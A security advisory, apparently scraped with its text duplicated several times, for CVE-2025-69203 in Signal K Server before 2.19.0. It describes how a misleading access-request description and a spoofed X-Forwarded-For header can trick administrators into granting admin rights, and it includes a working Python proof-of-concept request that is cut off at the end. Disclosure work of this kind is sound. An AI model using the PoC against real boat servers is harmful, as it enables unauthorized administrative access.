CVE-2025-69203

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access.

The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.

Affected Code

File: packages/server-admin-ui/src/views/security/AccessRequests.js

The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.

File: src/tokensecurity.js (access request creation and IP extraction)

// Access request accepts any permissions value from the client
const permissions = req.body.permissions  // No validation against description

// IP address extraction trusts X-Forwarded-For without validation
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress

The code prioritizes the X-Forwarded-For header over the actual connection IP, allowing client-controlled spoofing.

Impact

An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.

PoC

import requests

TARGET = "http://localhost:3000"
SPOOFED_IP = "192.168.1.100"

def create_spoofed_request(device_name):
    payload = {
        "clientId": device_name,
        "description": f"{device_name} - Read Only",  # Misleading
        "permissions": "admin"  # Actually requesting admin!
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Forwarded-For": SPOOFED_IP  # Spoof internal IP
    }
    
    r = requests.post(
        f"{TARGET}/signalk/v1/access/requests",
        json=payload,
        headers=headers
    )
    
    if r.status_code == 202:
        data = r.json()
        href = data.get("href")
        request_id = href.split("/")[-1] if href else None
        
        print(f"[+] Access request created!")
        print(f"[+] Request ID: {request_id}")
        print(f"[+] Admin sees: '{payload['description']}'")
        print(f"[+] Actual permissions: {payload['permissions']}")
        print(f"[+] Spoofed IP: {SPOOFED_IP}")
        
        return request_id
    else:
        print(f"[-] Failed: {r.status_code} - {r.text}")
        return None

if __name__ == "__main__":
    # First enumerate devices/sources using info disclosure…

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access.

The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.

Affected Code

File: packages/server-admin-ui/src/views/security/AccessRequests.js

The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.

File: src/tokensecurity.js (access request creation and IP extraction)

// Access request accepts any permissions value from the client
const permissions = req.body.permissions  // No validation against description

// IP address extraction trusts X-Forwarded-For without validation
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress

The code prioritizes the X-Forwarded-For header over the actual connection IP, allowing client-controlled spoofing.

Impact

An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.

PoC

import requests

TARGET = "http://localhost:3000"
SPOOFED_IP = "192.168.1.100"

def create_spoofed_request(device_name):
    payload = {
        "clientId": device_name,
        "description": f"{device_name} - Read Only",  # Misleading
        "permissions": "admin"  # Actually requesting admin!
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Forwarded-For": SPOOFED_IP  # Spoof internal IP
    }
    
    r = requests.post(
        f"{TARGET}/signalk/v1/access/requests",
        json=payload,
        headers=headers
    )
    
    if r.status_code == 202:
        data = r.json()
        href = data.get("href")
        request_id = href.split("/")[-1] if href else None
        
        print(f"[+] Access request created!")
        print(f"[+] Request ID: {request_id}")
        print(f"[+] Admin sees: '{payload['description']}'")
        print(f"[+] Actual permissions: {payload['permissions']}")
        print(f"[+] Spoofed IP: {SPOOFED_IP}")
        
        return request_id
    else:
        print(f"[-] Failed: {r.status_code} - {r.text}")
        return None

if __name__ == "__main__":
    # First enumerate devices/sources using info disclosure…